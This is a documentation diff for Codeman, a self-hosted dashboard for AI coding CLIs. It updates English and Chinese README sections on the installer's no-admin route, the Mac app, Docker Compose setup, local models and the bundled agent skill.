every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `agent-skill-default-migrated.json` (written once by the 1.50.0 boot migration of `agentSkillEnabled`; while it exists the migration never runs again, so deleting it would switch a stored off on at the next start; never tracked or restored), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back), `cli-installed` (empty, touched by `install.sh` when it installs a CLI: a running server reads only its mtime, and a change ends that CLI's negative-cache backoff) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all four installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
@@ -384,6 +393,6 @@ Two constraints worth knowing before you touch them: the env-derived PTY buffer
## Scripts & Tunnel
**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ **No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, taken by itself when the account has no administrator rights): Node.js (nodejs.org, checked against `SHASUMS256.txt`) and tmux (`tmux/tmux-builds`, digests pinned in `tmux_build_sha256`: bump `TMUX_BUILD_VERSION` and all four together) go into `~/.codeman/runtime`, and without a working git the source is an archive that updates by a re-run (built beside the old tree, swapped in after the build). Nothing in that section may run `sudo`, Homebrew or `xcode-select --install`, a download is verified before it is unpacked, the route is never decided by `sudo -v`, `/usr/bin/git` on a Mac is never executed before `xcode-select -p` proves the developer tools, and `no_admin_blocker` stops BEFORE the first download for what it cannot supply (a Linux toolchain, macOS below 15). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). ⚠️ Codeman Desktop drives it with no terminal (`--no-admin --progress --ai-cli <id>|none`, `install.sh preflight`, `install.sh agent <id>` to add one agent next to a running Codeman, `packages/desktop/src/gui_install.rs`): `cli_offerable` is the one rule for what can be installed, `preflight` stdout is JSON only, `agent` says `done` only when THAT agent landed, and the `progress_phase` order is pinned against `connect.html`, with `done` last. → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
Other key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh [quick|named] start|stop|status|url` (quick = random trycloudflare URL, default; `named setup|enable` = fixed-hostname tunnel via `scripts/codeman-tunnel-named.service`; bare `start|stop|url` still means quick), `scripts/run-beta.sh` (isolated beta instance), `scripts/build-agent-image.mjs` (docker base image), `scripts/self-update.sh` (detached updater). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.
+36 -6
View File
@@ -43,6 +43,8 @@ codeman web
The installer asks before every system change, and re-running the same line updates in place. Full details: [Quick Start - Installation](#quick-start---installation).
On a Mac you can skip the terminal: [download Codeman.dmg](https://github.com/Ark0N/Codeman/releases/latest/download/Codeman.dmg), and the app installs Codeman for you, opens the one already running, or connects to one on another machine. More in [On a Mac: the Codeman app](#on-a-mac-the-codeman-app).
- **One dashboard, ten CLIs** - run [Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, Grok, DeepSeek, OMP, or GitHub Copilot](#more-features) per session (plus plain shell), locally, [in Docker](#isolated-docker-sessions), or [over SSH](#remote-ssh-sessions), with your own dashboards open as [web tabs](#more-features) beside them
- **Truly phone-friendly** - a [touch-optimized terminal](#mobile-optimized-web-ui) with instant local echo, QR login, swipe navigation, and push notifications
- **Runs while you sleep** - [idle detection + respawn cycling](#respawn-controller) and auto-resume when a subscription limit resets, for 24+ hour unattended runs
@@ -69,6 +71,7 @@ This installs Node.js, tmux and a build toolchain if missing (node-pty ships no
- **How it's reachable, your choice.** **Tailscale** (loopback bind fronted by `tailscale serve`, so you get `https://<machine>.<tailnet>.ts.net` with a real certificate and your tailnet as the login, no password needed), **any device on your network** (`0.0.0.0`, with a strongly recommended password prompt), or **this machine only** (`127.0.0.1`, safest). Skipping the password on a network bind requires an explicit confirmation and ends with a loud warning. The highlighted default reflects what is already on the machine (Tailscale when it is already connected, your existing binding on a re-run), and a bare Enter never pulls in new software. If another app already owns `:443` on your node, Codeman goes under `https://<machine>.<tailnet>.ts.net/codeman` or on a second port instead of replacing it. A bare `codeman web` started by hand still defaults to loopback.
- **The name is yours to choose.** By default the URL uses the machine's existing tailnet name. Answering yes to the second question renames the machine to `codeman-<hostname>` (which also renames it for SSH, so the default is no); `install.sh name` does it later.
- **Re-run to update.** The same one-liner updates a finished install in place: local changes in `~/.codeman/app` are stashed (never discarded), and a running service is restarted and verified. If a first install was interrupted, re-running resumes the full setup instead. `install.sh status` prints the URLs and the QR code again; `install.sh update`, `install.sh tailscale` and `install.sh uninstall` also exist.
- **No administrator rights needed.** On an account without `sudo`, one whose `sudo` rights the installer cannot confirm (outside the `sudo`, `wheel` and `admin` groups, with a password still required) or a Mac account that is not an administrator and has no Homebrew it can write to, the installer downloads Node.js from nodejs.org and the tmux project's own build into `~/.codeman/runtime`, each checked against its SHA-256, and takes the source as an archive when there is no working git. `--no-admin` forces that route and `CODEMAN_NO_ADMIN=0` turns it off. Two limits: Linux needs make, a C++ compiler and python3 to be there already, and the tmux download needs macOS 15 or newer. Details in the [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights).
- **Flags for the impatient.** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` answers the questions from the command line (`--lan`, `--local`, `--run`, `--no-start`, `--name <n>`, `--port <n>`, `--yes` too). **CI / headless:** without a terminal attached, steps that would change your system abort with instructions instead of running silently; set `CODEMAN_NONINTERACTIVE=1` to approve them for automation.
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), [Grok Build](https://github.com/xai-org/grok-build), [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), [OMP](https://github.com/can1357/oh-my-pi), or [GitHub Copilot CLI](https://github.com/github/copilot-cli) (any combination works; Gemini CLI is enterprise-only since Google's consumer cutover, and Antigravity is its successor). The installer detects whichever of the ten is present; if none is found, it offers to install any of them from a menu (DeepSeek excepted, since its npm package installs only a launcher with no runnable profile), or you can skip and install one yourself later. After install:
@@ -85,10 +88,32 @@ codeman users add alice --admin # create the first admin account
codeman web --multiuser # named logins + per-user case spaces
```
**Prefer Docker Compose?** A local-image Compose deployment ships in `docker/`: copy `docker/.env.example` to `docker/.env`, set `CODEMAN_PASSWORD`, then run `bash docker/Start-Codeman.sh` on Linux. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. After updating, run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for direct Compose commands, storage and networking options.
Details in [Multi-User Mode](#multi-user-mode-opt-in) below.
**Prefer Docker Compose?** Clone the repo and run one script (Linux, Docker with the Compose v2 plugin):
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run asks three questions (data folder, port, password; Enter takes the default, including a generated password), writes `docker/.env` for you, builds the image and ends on the URL once Codeman answers. The image already includes Claude Code, Codex, Gemini CLI and OpenCode. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. To update, use **App Settings → Updates**, or `git pull` and run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for Unraid, direct Compose commands, storage and networking options.
### On a Mac: the Codeman app
**[Download Codeman.dmg](https://github.com/Ark0N/Codeman/releases/latest/download/Codeman.dmg)** · one universal app for Apple Silicon and Intel · macOS 11.3 or later
A small native app that opens Codeman in its own window. On a Mac without Codeman it installs it for you, with no Terminal and no administrator password, shows the install as a checklist, and offers to install a coding agent if the Mac has none yet. On a Mac that already runs Codeman it finds the server and opens it, or starts it when it is stopped. Under **Another machine** it connects to Codeman on your Mac mini, a home server or your tailnet, with the password kept in the Keychain, and can start an install over there through SSH. On a MacBook Pro with a PROLED XDR display, whose lid logo lights up, **View > Blink Apple Logo** blinks the logo by what your agents are doing, with a style of your own for working, for waiting for you and for needing permission; all three stay off until you choose. The app is Rust around macOS's own WebKit, not a bundled browser, so the download is under 5 MB.
Open `Codeman.dmg`, drag Codeman into Applications and open it from there. macOS asks once whether to open an app downloaded from the internet: click **Open**.
- **Quitting the app doesn't stop Codeman.** An install from the app runs Codeman as a LaunchAgent that starts at login, so your agents keep working with the window closed, and your browser and phone reach it as before.
- **Codeman's page needs the WebKit of Safari 16.4.** The app starts on macOS 11.3, but Codeman itself needs macOS 13.3 or later, or macOS 11 or 12 with Safari 16.4 or later installed. On an older WebKit the app says so and does not connect.
- **The install from the app needs macOS 15, or a tmux that is already there.** tmux comes from the tmux project's own builds, which need macOS 15. On an older Mac without tmux the app offers Terminal instead, where Homebrew installs it (that takes an administrator once).
- **Updating.** The app doesn't update itself yet: download the new `Codeman.dmg` and drag it over the old copy.
First launch, known limits and how to build it yourself: [Installation](https://github.com/Ark0N/Codeman/wiki/Installation#on-a-mac-the-codeman-app) in the wiki and [packages/desktop/README.md](packages/desktop/README.md).
<details>
<summary><strong>Keep it running in the background</strong></summary>
@@ -464,8 +489,10 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
- **Git status in the bottom bar** — off by default (**App Settings → Header & Panels → Bottom bar → Git status**, per device). A small indicator at the right of the bottom bar shows the active session's repository at a glance: `● 3` uncommitted files, `↑ 2` commits not pushed, `⚠` merge conflicts, `✓` all committed and pushed. Click it for a draggable window listing the staged, not-staged, untracked and conflicted files (grouped under collapsed folders, or as a flat list if you turn that setting off) and the unpushed commits; **click a file to see its diff** (new files as all additions, deleted files as all removals), with **Open file** to jump to the viewer. A folder that holds several projects gets one collapsible section per repository found up to two levels down, all collapsed until you open them. **Fetch** in that window's header runs `git fetch` for the repositories it lists, on your click or on an interval you turn on (**App Settings → Bottom bar**, off by default; **Session Options → Git** overrides both the switch and the interval per session). Sessions open on the same folder share one run and each sees its result. Apart from that fetch Codeman never fetches or changes the repo, so "behind" is as of the last fetch; not shown for Docker or remote sessions.
- **Clone a GitHub repo as a case** — paste a repository URL into **Add Case → Clone Repo** and Codeman clones it into `~/codeman-cases/<name>` and registers it as a normal case, ready to run an agent in. It preflights the URL while you type (tells you whether it can be cloned anonymously and offers the repo's real branches and tags for the optional branch/tag field), fills the case name in from the URL, and lets you pick which CLI the Run button should use. Public repositories over `https://`; Codeman never collects or stores credentials
- **Create a case in a custom folder** — tick **Create in a custom folder** in **Add Case → Create New**, pick a parent folder (Browse included) and a name, and Codeman scaffolds the new case there instead of `~/codeman-cases`. The target must be a new or empty folder; system directories, your home folder itself, credential trees such as `~/.ssh`, and Codeman's own data folder are refused. Admin only in multi-user mode.
- **Open a tmux session you started by hand**: a tmux session started outside Codeman shows up on the home screen, on this machine automatically and in your Docker cases' containers or on your saved SSH hosts when you scan for them. One click opens it as a tab. Closing the tab only detaches, and Codeman will not respawn or relaunch an agent it did not start. See [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman).
- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, **Grok**, **DeepSeek Harness**, **OMP**, or **GitHub Copilot CLI** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*` vs `DSH_*`/`DEEPSEEK_*` vs `OMP_*` vs `COPILOT_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md), [`docs/grok-integration.md`](docs/grok-integration.md), [`docs/deepseek-integration.md`](docs/deepseek-integration.md) [`docs/omp-integration.md`](docs/omp-integration.md) and [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **Custom model endpoints** _(new in 1.29.0, HTTP API for now)_ — point a session's CLI at any OpenAI-compatible endpoint instead of its native backend: a local llama.cpp, llama-swap, Ollama or vLLM box, or a cloud gateway such as Azure AI Foundry or OpenRouter. Save an endpoint once (`POST /api/model-endpoints`; its models are discovered from `/v1/models`), apply it to a session (`POST /api/sessions/:id/custom-model`), and the CLI restarts in place on that endpoint. Verified live for Claude, OpenCode, Pi, Grok and OMP; Codex, Gemini and DeepSeek have documented gaps, Antigravity has no mechanism. A toolbar picker is the follow-up. See [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **A model on this Mac** _(experimental, new in 1.50.0)_: on a Mac with Apple silicon, **Run a local model** on the welcome screen shows which coding model fits, installs it with its runtime and a coding agent, and starts a session on it: no account, no API key, and the prompts and files of that session go to a model on this Mac, not to a cloud provider. Then mix cloud and local: through the [codeman skill](#the-agent-skill-start-here) a Claude Code session hands work to that model (`spawn_worker <name> local`, `sendmark`) and reads the answer back, so Claude plans and reviews in the cloud while the Mac does the bulk: summaries, first drafts, files that should stay here. See [`docs/local-models.md`](docs/local-models.md)
- **Web tabs** — open Grafana, Uptime Kuma, a Vite dev server or any dashboard URL as a tab beside your sessions (Run dropdown → **Web / URL** → **Add URL**). Dashboards are proxied through Codeman's own origin, so an `http://` target works from a phone over HTTPS and through the tunnel, single-page apps route on their own paths, and a frame that reloads recovers itself. A `localhost` link an agent prints opens as a web tab automatically. See [`docs/web-tabs.md`](docs/web-tabs.md)
- **Docker sessions** — run a case inside an isolated, hardened container. One checkbox on **Create New** spins up a container with sensible defaults and starts the agent inside it; multiple sessions share one per-case container, or attach a case to a container you already run; export a container + its workspace to a portable `.tar.gz` to move it to another machine. See [`docs/docker-cases.md`](docs/docker-cases.md)
- **Remote SSH sessions** — point a case at another machine and run the agent there inside a durable remote tmux: survives SSH drops, auto-reconnects, and can discover + attach sessions already running on the host; file previews and downloads come over the same ssh connection. See [`docs/remote-sessions.md`](docs/remote-sessions.md)
@@ -516,7 +543,7 @@ Point a case at another machine and run the agent **there**, over SSH, with the
- **Discover & attach**: list the `codeman-*` sessions already running on a host (started by that machine's own Codeman, or by another operator) and attach to one. Attached sessions you don't own **detach on tab close, never kill**.
- **Shared sessions**: several clients can attach the same remote session at different window sizes without clamping each other; discovery shows a "shared" badge with the client count.
- **Injection-safe**: every ssh command line flows through a single shell-escaping builder, and host/path/identity fields are schema-guarded.
- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host; editing and Office previews answer a clear 400 instead of a misleading 404.
- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host apart from the diffs the Edit history panel keeps; editing and Office previews answer a clear 400 instead of a misleading 404.
- **Full scrollback**: loading a remote session's history reads it from the remote tmux in one bounded ssh round trip, so a session keeps its whole scrollback after a reattach or a tab switch, with no rows lost where the history meets the live screen.
Set it up under **New Case → Remote** (host, user, identity file, optional jump host). Full design: [`docs/remote-sessions.md`](docs/remote-sessions.md).
@@ -766,13 +793,15 @@ Everything in this section also ships as an **agent skill**, [`skills/codeman`](
#### Step 1: install it
Usually there is nothing to install: since 1.50.0 every new session gets the skill in its folder, where its CLI looks for skills (the web UI row below, on by default). The copy ignores itself in git, so your repository never lists it as a new file. The other routes are for pi, or for a copy that does not depend on that setting.
| How | Command | Scope |
| -------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| Skills CLI | `npx skills add Ark0N/Codeman --skill codeman -g` | Global, for any skills-aware agent ([skills.sh](https://skills.sh)); the way to give it to pi |
| Claude Code plugin | `/plugin marketplace add Ark0N/Codeman` then `/plugin install codeman@codeman` | Global, through Claude Code's plugin manager; `/plugin update codeman` follows releases. Pick this OR a `codeman skill install`, not both: a Claude Code with both lists the skill twice (`codeman` and `codeman:codeman`) |
| Claude Code plugin | `/plugin marketplace add Ark0N/Codeman` then `/plugin install codeman@codeman` | Global, through Claude Code's plugin manager; `/plugin update codeman` follows releases. Pick this OR a `codeman skill install`, not both: a Claude Code with both lists the skill twice (`codeman` and `codeman:codeman`). |
| Bundled CLI | `codeman skill install` | Global (`~/.claude/skills/codeman`), for npm installs that never cloned the repo |
| Bundled CLI | `codeman skill install --case <name> [--mode <mode>]` | One case only; `--mode codex` (or any other run mode) writes it where that CLI looks for skills |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | Auto-injects into each case on session create, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP; not pi, whose project skills trigger a trust prompt (`agentSkillEnabled`, SYNCED, default off) |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | Auto-injects into each case on session create, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP; not pi, whose project skills trigger a trust prompt (`agentSkillEnabled`, SYNCED, **on by default** since 1.50.0; a Claude Code that also has the plugin lists the skill twice, both work, so drop one if the duplicate bothers you) |
`codeman skill uninstall [--case <name>]` reverses the CLI installs (with `--case`, every Codeman-managed copy in that case, whichever CLI's directory it sits in), and never touches a `skills/codeman` you wrote yourself.
@@ -786,6 +815,7 @@ That is the entire interface. No curl, no endpoint names, no session ids. These
| _"Start a shell worker on the `myapp` case, run the test suite, tell me if it passes."_ | Spawns, waits on a split completion marker, reads back the exit code, cleans up. |
| _"Spin up 3 workers for lint, typecheck and tests. Run them in parallel, report failures."_ | The fan-out flow: one session per task, all started first, then gathered as each finishes. |
| _"Have a claude worker on `refactor-auth` summarize `src/session.ts`, then close it."_ | Spawns, runs the readiness ladder (first-run trust dialog included), send-and-wait, reads the clean transcript answer, deletes. |
| _"Use the local model to summarize every file in `docs/`, then check its summaries."_ | Starts a worker on the model Codeman installed on this Mac, gives it the files, reads its answer back and reviews it in the cloud. Says why instead when no local model is installed. |
| _"Watch session w4 and tell me if it gets stuck on a permission prompt."_ | Blocks on the `blocked` signal and surfaces the question to **you**. It never answers another session's prompt itself. |
One short line is enough. Here a Claude Code lead gets `use codeman to start 5 claude workers, one per TODO item`, and five real Claude Code workers power on, shown side by side in the tile grid:
@@ -839,7 +869,7 @@ Every recipe in there was verified against a live server, and the comments recor
- **It self-gates.** It acts inside a Codeman-managed session. Outside one (`CODEMAN_MUX` unset) it only reads saved Codex conversations offline (`codeman history read`) and refuses everything else, and it never guesses an API URL, so a global install costs an unrelated Claude Code session nothing.
- **It is deliberately conservative.** Unprompted, it may only spawn sessions, prompt them, and delete ones **it created in that same conversation, by exact id**, through a fail-closed guard that refuses to delete the agent's own session. Deleting a case (which erases a real directory of your code), bulk kills, respawn/ralph/cron/orchestrator changes and settings writes all require you to ask, naming the target.
⚠️ Turning `agentSkillEnabled` back off **does not remove already-injected copies** (a create-time sweep would yank the skill out from under other live sessions sharing that workspace). Remove them per case with `codeman skill uninstall --case <name>`.
⚠️ The web UI injection is **on by default** since 1.50.0. A `settings.json` without the `agentSkillEnabled` key means on. Existing installs that stored off are switched on once at the first 1.50.0 start (every App Settings save on 1.49.0 or earlier wrote the old default, `false`, whether or not you touched this switch); turning it off afterwards sticks. Turning it off **does not remove already-injected copies** (a create-time sweep would yank the skill out from under other live sessions sharing that workspace). Remove them per case with `codeman skill uninstall --case <name>`.
---
+32 -4
View File
@@ -45,6 +45,8 @@ codeman web
安装器在每次系统改动前都会先询问;重跑同一条命令即可原地更新。详见[快速开始 — 安装](#快速开始--安装)。
在 Mac 上可以不用终端:[下载 Codeman.dmg](https://github.com/Ark0N/Codeman/releases/latest/download/Codeman.dmg),这个应用会替你安装 Codeman、打开已在运行的 Codeman,或者连接另一台机器上的 Codeman。详见[在 Mac 上:Codeman 应用](#在-mac-上codeman-应用)。
- **一个仪表盘,十个 CLI**:每个会话可选 [Claude Code、OpenCode、Codex、Antigravity、Gemini、Pi、Grok、DeepSeek、OMP 或 GitHub Copilot](#更多特性)(外加普通 shell),在本机、[Docker 容器](#隔离的-docker-会话)或 [SSH 远程主机](#远程-ssh-会话)上运行,你自己的仪表盘也能作为 [Web 标签页](#更多特性)并排打开
- **真正的手机友好**:[触控优化的终端](#移动端优化的-web-ui),即时本地回显、二维码登录、滑动导航与推送通知
- **睡觉时也在跑**:[空闲检测 + 重生循环](#重生控制器respawn-controller),订阅限额重置后自动续跑,支持 24 小时以上的无人值守运行
@@ -71,6 +73,7 @@ curl -fsSL https://getcodeman.com/install | bash
- **怎么访问,由你决定。** 安装器提供三种到达仪表盘的方式:**Tailscale**(环回绑定,由 `tailscale serve` 代理,得到带真实证书的 `https://<机器名>.<tailnet>.ts.net`,用你的 tailnet 当登录,无需密码)、**局域网内任意设备**(`0.0.0.0`,会提示设置一个强烈推荐的密码),或**仅本机**(`127.0.0.1`,最安全)。绑定网络却跳过密码需要显式确认,并以醒目警告收尾。高亮的默认项反映机器上已有的状态(已在用 Tailscale 时默认 Tailscale,重跑时沿用现有绑定),直接回车绝不会引入新软件。如果你节点上的 `:443` 已被别的应用占用,Codeman 会改用 `https://<机器名>.<tailnet>.ts.net/codeman` 或第二个端口,而不是把它替换掉。手动运行的 `codeman web` 仍默认仅环回。
- **名字由你来定。** 默认情况下,URL 用的是这台机器在 tailnet 里现有的名字。第二个问题答「是」会把机器改名为 `codeman-<hostname>`(这也会改掉它在 SSH 里的名字,所以默认是「否」);之后也可以用 `install.sh name` 来改。
- **重跑即更新。** 再次运行同一条命令即可原地更新已完成的安装:`~/.codeman/app` 中的本地改动会被 stash(绝不丢弃),运行中的服务会自动重启并校验。若首次安装中途失败,重跑会继续完成完整的安装流程。`install.sh status` 会再次打印 URL 和二维码;另外还有 `install.sh update`、`install.sh tailscale` 和 `install.sh uninstall`。
- **无需管理员权限。** 在没有 `sudo` 的账户、安装器无法确认 `sudo` 权限的账户(不在 `sudo`、`wheel`、`admin` 组内,且 `sudo` 需要密码)或不是管理员、也没有可写入的 Homebrew 的 Mac 账户上,安装器会把 nodejs.org 的 Node.js 和 tmux 项目自己的构建下载到 `~/.codeman/runtime`,两者都会校验 SHA-256;没有可用的 git 时,则以归档包的方式获取源码。`--no-admin` 强制走这条路线,`CODEMAN_NO_ADMIN=0` 则将其关闭。两个限制:Linux 上必须已有 make、C++ 编译器和 python3,tmux 下载需要 macOS 15 或更新版本。详见 [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights)。
- **给急性子的参数。** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` 直接在命令行上回答这些问题(还有 `--lan`、`--local`、`--run`、`--no-start`、`--name <n>`、`--port <n>`、`--yes`)。**CI / 无终端环境:** 没有终端时,涉及系统改动的步骤会带着说明中止,而不是静默执行;在自动化场景设置 `CODEMAN_NONINTERACTIVE=1` 即可批准这些步骤。
你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev)、[Grok Build](https://github.com/xai-org/grok-build)、[DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness)、[OMP](https://github.com/can1357/oh-my-pi) 或 [GitHub Copilot CLI](https://github.com/github/copilot-cli)(任意组合均可;自 Google 面向消费者停售后,Gemini CLI 仅限企业版,Antigravity 是其继任者)。安装器会自动检测这十个中已安装的任意一个;若一个都没有,会给出一个菜单让你安装其中任意一个(DeepSeek 除外,它的 npm 包只装一个启动器,没有可运行的 profile),也可以选择跳过、稍后自行安装。安装完成后:
@@ -87,10 +90,32 @@ codeman users add alice --admin # 创建第一个管理员账号
codeman web --multiuser # 命名登录 + 按用户隔离的案例空间
```
**更喜欢 Docker Compose?** `docker/` 里附带一套本地镜像的 Compose 部署:把 `docker/.env.example` 复制为 `docker/.env`,设置 `CODEMAN_PASSWORD`,然后在 Linux 上运行 `bash docker/Start-Codeman.sh`。Codeman 自己跑在容器里,并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新之后请再跑一次这个脚本,而不是直接 `docker compose up`,这样重建的镜像、刷新的卷和新的入口脚本会一起就位。直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)(英文)。
**更喜欢 Docker Compose?** 克隆仓库,运行一个脚本即可(Linux,需要 Docker 和 Compose v2 插件):
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
首次运行会问三个问题(数据目录、端口、密码;回车即采用默认值,包括自动生成的密码),替你写好 `docker/.env`,构建镜像,并在 Codeman 响应后给出访问地址。镜像已内置 Claude Code、Codex、Gemini CLI 和 OpenCode。Codeman 自己跑在容器里,并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新时请使用 **App Settings → Updates**,或者先 `git pull` 再跑一次这个脚本,而不是直接 `docker compose up`,这样重建的镜像、刷新的卷和新的入口脚本会一起就位。Unraid、直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)(英文)。
详见下文[多用户模式](#多用户模式可选启用)。
### 在 Mac 上:Codeman 应用
**[下载 Codeman.dmg](https://github.com/Ark0N/Codeman/releases/latest/download/Codeman.dmg)** · 同一个通用应用,适用于 Apple 芯片和 Intel · macOS 11.3 或更高版本
一个小巧的原生应用,在它自己的窗口里打开 Codeman。在还没有 Codeman 的 Mac 上,它会替你安装,不用终端,也不需要管理员密码,用一张清单显示安装进度;如果这台 Mac 上还没有编程智能体,它还会提出帮你装一个。在已经运行 Codeman 的 Mac 上,它会找到服务器并打开;服务器停着时则替你启动。在 **Another machine** 下,它可以连接你的 Mac mini、家用服务器或 tailnet 上的 Codeman,密码保存在钥匙串里,还能通过 SSH 在那台机器上开始安装。在配备 PROLED XDR 显示屏、机盖 Apple 标志会发光的 MacBook Pro 上,**View > Blink Apple Logo** 会让标志按智能体在做的事闪烁:工作中、等你回复、需要权限各用一种你自己选的样式;在你选定之前,三种都保持关闭。这个应用用 Rust 写成,套在 macOS 自带的 WebKit 外面,不捆绑浏览器,所以下载不到 5 MB。
打开 `Codeman.dmg`,把 Codeman 拖进「应用程序」文件夹,再从那里打开。macOS 会问一次是否打开这个从互联网下载的应用:点**打开**。
